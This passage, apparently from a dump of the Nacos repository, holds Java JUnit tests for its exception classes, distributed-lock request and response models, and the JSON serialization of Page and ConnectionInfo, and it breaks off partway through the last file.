    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass NacosExceptionTest {\n    \n    @Test\n    void testEmptyConstructor() {\n        NacosException exception = new NacosException();\n        assertEquals(0, exception.getErrCode());\n        assertEquals(Constants.NULL, exception.getErrMsg());\n        assertEquals(\"ErrCode:0, ErrMsg:\", exception.toString());\n        exception.setErrCode(NacosException.INVALID_PARAM);\n        exception.setErrMsg(\"test\");\n        assertEquals(\"ErrCode:400, ErrMsg:test\", exception.toString());\n    }\n    \n    @Test\n    void testConstructorWithErrMsg() {\n        NacosException exception = new NacosException(NacosException.SERVER_ERROR, \"test\");\n        assertEquals(NacosException.SERVER_ERROR, exception.getErrCode());\n        assertEquals(\"test\", exception.getErrMsg());\n        assertEquals(\"ErrCode:500, ErrMsg:test\", exception.toString());\n    }\n    \n    @Test\n    void testConstructorWithCause() {\n        NacosException exception = new NacosException(NacosException.SERVER_ERROR, new RuntimeException(\"cause test\"));\n        assertEquals(NacosException.SERVER_ERROR, exception.getErrCode());\n        assertEquals(\"cause test\", exception.getErrMsg());\n        assertEquals(\"ErrCode:500, ErrMsg:cause test\", exception.toString());\n    }\n    \n    @Test\n    void testConstructorWithMultiCauses() {\n        NacosException exception = new NacosException(NacosException.SERVER_ERROR,\n                new RuntimeException(\"cause test\", new RuntimeException(\"multi\")));\n        assertEquals(NacosException.SERVER_ERROR, exception.getErrCode());\n        assertEquals(\"multi\", exception.getErrMsg());\n        assertEquals(\"ErrCode:500, ErrMsg:multi\", exception.toString());\n    }\n    \n    @Test\n    void testConstructorWithFull() {\n        NacosException exception = new NacosException(NacosException.SERVER_ERROR, \"test\",\n                new RuntimeException(\"cause test\"));\n        assertEquals(NacosException.SERVER_ERROR, exception.getErrCode());\n        assertEquals(\"test\", exception.getErrMsg());\n        assertEquals(\"ErrCode:500, ErrMsg:test\", exception.toString());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/exception/api/NacosApiExceptionTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception.api;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass NacosApiExceptionTest {\n    \n    @Test\n    void testEmptyConstructor() {\n        NacosApiException exception = new NacosApiException();\n        assertEquals(0, exception.getErrCode());\n        assertEquals(0, exception.getDetailErrCode());\n        assertEquals(Constants.NULL, exception.getErrMsg());\n        assertEquals(Constants.NULL, exception.getErrAbstract());\n    }\n    \n    @Test\n    void testConstructorWithoutCause() {\n        NacosApiException exception = new NacosApiException(500, ErrorCode.SERVER_ERROR, \"test\");\n        assertEquals(500, exception.getErrCode());\n        assertEquals(ErrorCode.SERVER_ERROR.getCode().intValue(), exception.getDetailErrCode());\n        assertEquals(\"test\", exception.getErrMsg());\n        assertEquals(ErrorCode.SERVER_ERROR.getMsg(), exception.getErrAbstract());\n    }\n    \n    @Test\n    void testConstructorWithCause() {\n        NacosApiException exception = new NacosApiException(500, ErrorCode.SERVER_ERROR,\n                new RuntimeException(\"cause test\"), \"test\");\n        assertEquals(500, exception.getErrCode());\n        assertEquals(ErrorCode.SERVER_ERROR.getCode().intValue(), exception.getDetailErrCode());\n        assertEquals(\"test\", exception.getErrMsg());\n        assertEquals(ErrorCode.SERVER_ERROR.getMsg(), exception.getErrAbstract());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/exception/runtime/NacosDeserializationExceptionTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception.runtime;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.databind.type.SimpleType;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Type;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass NacosDeserializationExceptionTest {\n    \n    @Test\n    void testEmptyConstructor() {\n        NacosDeserializationException exception = new NacosDeserializationException();\n        assertEquals(Constants.Exception.DESERIALIZE_ERROR_CODE, exception.getErrCode());\n        assertNull(exception.getMessage());\n        assertNull(exception.getTargetClass());\n    }\n    \n    @Test\n    void testConstructorWithTargetClass() {\n        NacosDeserializationException exception = new NacosDeserializationException(\n                NacosDeserializationExceptionTest.class);\n        assertEquals(Constants.Exception.DESERIALIZE_ERROR_CODE, exception.getErrCode());\n        assertEquals(String.format(\"errCode: 101, errMsg: Nacos deserialize for class [%s] failed.  \",\n                NacosDeserializationExceptionTest.class.getName()), exception.getMessage());\n        assertEquals(NacosDeserializationExceptionTest.class, exception.getTargetClass());\n    }\n    \n    @Test\n    void testConstructorWithTargetType() {\n        Type type = SimpleType.constructUnsafe(NacosDeserializationExceptionTest.class);\n        NacosDeserializationException exception = new NacosDeserializationException(type);\n        assertEquals(Constants.Exception.DESERIALIZE_ERROR_CODE, exception.getErrCode());\n        assertEquals(\n                String.format(\"errCode: 101, errMsg: Nacos deserialize for class [%s] failed.  \", type.getTypeName()),\n                exception.getMessage());\n        assertNull(exception.getTargetClass());\n    }\n    \n    @Test\n    void testConstructorWithCause() {\n        NacosDeserializationException exception = new NacosDeserializationException(new RuntimeException(\"test\"));\n        assertEquals(Constants.Exception.DESERIALIZE_ERROR_CODE, exception.getErrCode());\n        assertEquals(\"errCode: 101, errMsg: Nacos deserialize failed.  \", exception.getMessage());\n        assertNull(exception.getTargetClass());\n    }\n    \n    @Test\n    void testConstructorWithTargetClassAndCause() {\n        NacosDeserializationException exception = new NacosDeserializationException(\n                NacosDeserializationExceptionTest.class, new RuntimeException(\"test\"));\n        assertEquals(Constants.Exception.DESERIALIZE_ERROR_CODE, exception.getErrCode());\n        assertEquals(String.format(\"errCode: 101, errMsg: Nacos deserialize for class [%s] failed, cause error[%s].  \",\n                NacosDeserializationExceptionTest.class.getName(), \"test\"), exception.getMessage());\n        assertEquals(NacosDeserializationExceptionTest.class, exception.getTargetClass());\n    }\n    \n    @Test\n    void testConstructorWithTargetTypeAndCause() {\n        Type type = SimpleType.constructUnsafe(NacosDeserializationExceptionTest.class);\n        NacosDeserializationException exception = new NacosDeserializationException(type, new RuntimeException(\"test\"));\n        assertEquals(Constants.Exception.DESERIALIZE_ERROR_CODE, exception.getErrCode());\n        assertEquals(String.format(\"errCode: 101, errMsg: Nacos deserialize for class [%s] failed, cause error[%s].  \",\n                type.getTypeName(), \"test\"), exception.getMessage());\n        assertNull(exception.getTargetClass());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/exception/runtime/NacosLoadExceptionTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception.runtime;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass NacosLoadExceptionTest {\n    \n    @Test\n    void testConstructor() {\n        NacosLoadException exception = new NacosLoadException(\"test\");\n        assertEquals(\"test\", exception.getMessage());\n        assertNull(exception.getCause());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/exception/runtime/NacosRuntimeExceptionTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception.runtime;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NacosRuntimeExceptionTest {\n    \n    @Test\n    void testConstructorWithErrorCode() {\n        NacosRuntimeException exception = new NacosRuntimeException(NacosException.INVALID_PARAM);\n        assertEquals(NacosException.INVALID_PARAM, exception.getErrCode());\n        assertNull(exception.getMessage());\n        assertNull(exception.getCause());\n    }\n    \n    @Test\n    void testConstructorWithErrorCodeAndMsg() {\n        NacosRuntimeException exception = new NacosRuntimeException(NacosException.INVALID_PARAM, \"test\");\n        assertEquals(NacosException.INVALID_PARAM, exception.getErrCode());\n        assertEquals(\"errCode: 400, errMsg: test \", exception.getMessage());\n        assertNull(exception.getCause());\n    }\n    \n    @Test\n    void testConstructorWithErrorCodeAndCause() {\n        NacosRuntimeException exception = new NacosRuntimeException(NacosException.INVALID_PARAM,\n                new RuntimeException(\"test\"));\n        assertEquals(NacosException.INVALID_PARAM, exception.getErrCode());\n        assertEquals(\"java.lang.RuntimeException: test\", exception.getMessage());\n        assertTrue(exception.getCause() instanceof RuntimeException);\n    }\n    \n    @Test\n    void testConstructorWithFull() {\n        NacosRuntimeException exception = new NacosRuntimeException(NacosException.INVALID_PARAM, \"test\",\n                new RuntimeException(\"cause test\"));\n        assertEquals(NacosException.INVALID_PARAM, exception.getErrCode());\n        assertEquals(\"errCode: 400, errMsg: test \", exception.getMessage());\n        assertTrue(exception.getCause() instanceof RuntimeException);\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/exception/runtime/NacosSerializationExceptionTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception.runtime;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass NacosSerializationExceptionTest {\n    \n    @Test\n    void testEmptyConstructor() {\n        NacosSerializationException exception = new NacosSerializationException();\n        assertEquals(Constants.Exception.SERIALIZE_ERROR_CODE, exception.getErrCode());\n        assertNull(exception.getMessage());\n        assertNull(exception.getSerializedClass());\n    }\n    \n    @Test\n    void testConstructorWithSerializedClass() {\n        NacosSerializationException exception = new NacosSerializationException(NacosSerializationExceptionTest.class);\n        assertEquals(Constants.Exception.SERIALIZE_ERROR_CODE, exception.getErrCode());\n        assertEquals(String.format(\"errCode: 100, errMsg: Nacos serialize for class [%s] failed.  \",\n                NacosSerializationExceptionTest.class.getName()), exception.getMessage());\n        assertEquals(NacosSerializationExceptionTest.class, exception.getSerializedClass());\n    }\n    \n    @Test\n    void testConstructorWithCause() {\n        NacosSerializationException exception = new NacosSerializationException(new RuntimeException(\"test\"));\n        assertEquals(Constants.Exception.SERIALIZE_ERROR_CODE, exception.getErrCode());\n        assertEquals(\"errCode: 100, errMsg: Nacos serialize failed.  \", exception.getMessage());\n        assertNull(exception.getSerializedClass());\n    }\n    \n    @Test\n    void testConstructorWithSerializedClassAndCause() {\n        NacosSerializationException exception = new NacosSerializationException(NacosSerializationExceptionTest.class,\n                new RuntimeException(\"test\"));\n        assertEquals(Constants.Exception.SERIALIZE_ERROR_CODE, exception.getErrCode());\n        assertEquals(String.format(\"errCode: 100, errMsg: Nacos serialize for class [%s] failed.  \",\n                NacosSerializationExceptionTest.class.getName(), \"test\"), exception.getMessage());\n        assertEquals(NacosSerializationExceptionTest.class, exception.getSerializedClass());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/lock/NacosLockFactoryTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.lock.NacosLockService;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass NacosLockFactoryTest {\n    \n    @Test\n    void createAiServiceWithException() {\n        NacosLockService.IS_THROW_EXCEPTION.set(true);\n        assertThrows(NacosException.class, () -> NacosLockFactory.createLockService(new Properties()));\n    }\n    \n    @Test\n    void createAiServiceSuccess() throws NacosException {\n        NacosLockService.IS_THROW_EXCEPTION.set(false);\n        assertNotNull(NacosLockFactory.createLockService(new Properties()));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/lock/model/LockInstanceTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock.model;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.lock.LockService;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\nclass LockInstanceTest {\n    \n    private LockInstance lockInstance;\n    \n    @BeforeEach\n    void setUp() {\n        lockInstance = new LockInstance();\n    }\n    \n    @Test\n    void testConstructorWithParameters() {\n        String key = \"testKey\";\n        Long expiredTime = 1000L;\n        String lockType = \"testType\";\n        \n        LockInstance instance = new LockInstance(key, expiredTime, lockType);\n        \n        assertEquals(key, instance.getKey());\n        assertEquals(expiredTime, instance.getExpiredTime());\n        assertEquals(lockType, instance.getLockType());\n    }\n    \n    @Test\n    void testDefaultConstructor() {\n        LockInstance instance = new LockInstance();\n        \n        assertNull(instance.getKey());\n        assertNull(instance.getExpiredTime());\n        assertNull(instance.getLockType());\n        assertNull(instance.getParams());\n    }\n    \n    @Test\n    void testGetAndSetKey() {\n        String key = \"testKey\";\n        lockInstance.setKey(key);\n        assertEquals(key, lockInstance.getKey());\n    }\n    \n    @Test\n    void testGetAndSetExpiredTime() {\n        Long expiredTime = 1000L;\n        lockInstance.setExpiredTime(expiredTime);\n        assertEquals(expiredTime, lockInstance.getExpiredTime());\n    }\n    \n    @Test\n    void testGetAndSetLockType() {\n        String lockType = \"testType\";\n        lockInstance.setLockType(lockType);\n        assertEquals(lockType, lockInstance.getLockType());\n    }\n    \n    @Test\n    void testGetAndSetParams() {\n        Map<String, String> params = new HashMap<>();\n        params.put(\"param1\", \"value1\");\n        params.put(\"param2\", \"value2\");\n        \n        lockInstance.setParams(params);\n        assertEquals(params, lockInstance.getParams());\n    }\n    \n    @Test\n    void testLockMethod() throws NacosException {\n        LockService lockService = mock(LockService.class);\n        Boolean expectedResult = true;\n        \n        when(lockService.remoteTryLock(lockInstance)).thenReturn(expectedResult);\n        \n        lockInstance.setKey(\"testKey\");\n        lockInstance.setLockType(\"testType\");\n        lockInstance.setExpiredTime(1000L);\n        \n        Boolean result = lockInstance.lock(lockService);\n        \n        assertEquals(expectedResult, result);\n    }\n    \n    @Test\n    void testUnlockMethod() throws NacosException {\n        LockService lockService = mock(LockService.class);\n        Boolean expectedResult = true;\n        \n        when(lockService.remoteReleaseLock(lockInstance)).thenReturn(expectedResult);\n        \n        lockInstance.setKey(\"testKey\");\n        lockInstance.setLockType(\"testType\");\n        lockInstance.setExpiredTime(1000L);\n        \n        Boolean result = lockInstance.unLock(lockService);\n        \n        assertEquals(expectedResult, result);\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/lock/remote/request/LockOperationRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock.remote.request;\n\nimport com.alibaba.nacos.api.lock.model.LockInstance;\nimport com.alibaba.nacos.api.lock.remote.LockOperationEnum;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass LockOperationRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        LockOperationRequest request = new LockOperationRequest();\n        request.setRequestId(\"1\");\n        \n        LockInstance lockInstance = new LockInstance();\n        lockInstance.setKey(\"testKey\");\n        lockInstance.setLockType(\"testType\");\n        lockInstance.setExpiredTime(1000L);\n        \n        request.setLockInstance(lockInstance);\n        request.setLockOperationEnum(LockOperationEnum.ACQUIRE);\n        \n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"lockInstance\\\":{\"));\n        assertTrue(json.contains(\"\\\"key\\\":\\\"testKey\\\"\"));\n        assertTrue(json.contains(\"\\\"lockType\\\":\\\"testType\\\"\"));\n        assertTrue(json.contains(\"\\\"expiredTime\\\":1000\"));\n        assertTrue(json.contains(\"\\\"lockOperationEnum\\\":\\\"ACQUIRE\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"lockInstance\\\":{\\\"key\\\":\\\"testKey\\\",\\\"expiredTime\\\":1000,\"\n                + \"\\\"lockType\\\":\\\"testType\\\"},\\\"lockOperationEnum\\\":\\\"ACQUIRE\\\",\\\"module\\\":\\\"lock\\\"}\";\n        LockOperationRequest result = mapper.readValue(json, LockOperationRequest.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        \n        LockInstance lockInstance = result.getLockInstance();\n        assertNotNull(lockInstance);\n        assertEquals(\"testKey\", lockInstance.getKey());\n        assertEquals(\"testType\", lockInstance.getLockType());\n        assertEquals(Long.valueOf(1000L), lockInstance.getExpiredTime());\n        \n        assertEquals(LockOperationEnum.ACQUIRE, result.getLockOperationEnum());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/lock/remote/response/LockOperationResponseTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock.remote.response;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass LockOperationResponseTest extends BasicRequestTest {\n    \n    @Test\n    void testConstructor() {\n        LockOperationResponse response = new LockOperationResponse(true);\n        assertTrue((Boolean) response.getResult());\n        \n        response = new LockOperationResponse(false);\n        assertFalse((Boolean) response.getResult());\n    }\n    \n    @Test\n    void testSuccess() {\n        LockOperationResponse response = LockOperationResponse.success(true);\n        assertTrue((Boolean) response.getResult());\n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n    }\n    \n    @Test\n    void testFail() {\n        String errorMessage = \"test error\";\n        LockOperationResponse response = LockOperationResponse.fail(errorMessage);\n        assertFalse((Boolean) response.getResult());\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(errorMessage, response.getMessage());\n    }\n    \n    @Test\n    void testSerialize() throws Exception {\n        LockOperationResponse response = new LockOperationResponse();\n        response.setRequestId(\"1\");\n        response.setResult(true);\n        \n        String json = mapper.writeValueAsString(response);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"result\\\":true\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"requestId\\\":\\\"1\\\",\\\"result\\\":true,\\\"success\\\":true}\";\n        LockOperationResponse result = mapper.readValue(json, LockOperationResponse.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertTrue((Boolean) result.getResult());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/model/PageTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model;\n\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass PageTest {\n    \n    private ObjectMapper mapper;\n    \n    private Page<String> page;\n    \n    @BeforeEach\n    void setUp() {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        page = new Page<>();\n        page.setPagesAvailable(10);\n        page.setPageNumber(1);\n        page.setTotalCount(10);\n        page.setPageItems(Collections.singletonList(\"test\"));\n    }\n    \n    @Test\n    void setPageItems() {\n        Page<Object> page = new Page<>();\n        assertEquals(0, page.getPageItems().size());\n        page.setPageItems(Collections.singletonList(new Object()));\n        assertEquals(1, page.getPageItems().size());\n    }\n    \n    @Test\n    void testSerialize() throws Exception {\n        String json =  mapper.writeValueAsString(page);\n        assertTrue(json.contains(\"\\\"totalCount\\\":10\"));\n        assertTrue(json.contains(\"\\\"pageNumber\\\":1\"));\n        assertTrue(json.contains(\"\\\"pagesAvailable\\\":10\"));\n        assertTrue(json.contains(\"\\\"pageItems\\\":[\\\"test\\\"]\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json =  \"{\\\"totalCount\\\":10,\\\"pageNumber\\\":1,\\\"pagesAvailable\\\":10,\\\"pageItems\\\":[\\\"test\\\"]}\";\n        Page<String> page = mapper.readValue(json, new TypeReference<Page<String>>() {\n        });\n        assertEquals(10, page.getPagesAvailable());\n        assertEquals(1, page.getPageNumber());\n        assertEquals(10, page.getTotalCount());\n        assertEquals(1, page.getPageItems().size());\n        assertEquals(\"test\", page.getPageItems().get(0));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/model/response/ConnectionInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.Date;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConnectionInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    ConnectionInfo connectionInfo;\n    \n    @BeforeEach\n    void setUp() {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        ConnectionMetaInfo metaInfo = new ConnectionMetaInfo();\n        metaInfo.setConnectType(\"grpc\");\n        metaInfo.setClientIp(\"127.0.0.1\");\n        metaInfo.setRemoteIp(\"127.0.0.1\");\n        metaInfo.setRemotePort(8080);\n        metaInfo.setLocalPort(18080);\n        metaInfo.setVersion(\"3.0.0\");\n        metaInfo.setConnectionId(\"1739168690942_127.0.0.1_18080\");\n        Date now = new Date();\n        metaInfo.setCreateTime(now);\n        metaInfo.setLastActiveTime(now.getTime());\n        metaInfo.setLabels(Collections.singletonMap(Constants.APPNAME, \"test\"));\n        metaInfo.setAppName(\"test\");\n        metaInfo.setNamespaceId(\"public\");\n        connectionInfo = new ConnectionInfo();\n        connectionInfo.setMetaInfo(metaInfo);\n        connectionInfo.setAbilityTable(Collections.emptyMap());\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void testSerialize() throws Exception {\n        String json = mapper.writeValueAsString(connectionInfo);\n        assertTrue(json.contains(\"\\\"traced\\\":false\"));\n        assertTrue(json.contains(\"\\\"metaInfo\\\":{\"));\n        assertTrue(json.contains(\"\\\"connectType\\\":\\\"grpc\\\"\"));\n        assertTrue(json.contains(\"\\\"clientIp\\\":\\\"127.0.0.1\\\"\"));\n        assertTrue(json.contains(\"\\\"remoteIp\\\":\\\"127.0.0.1\\\"\"));\n        assertTrue(json.contains(\"\\\"remotePort\\\":8080\"));\n        assertTrue(json.contains(\"\\\"localPort\\\":18080\"));\n        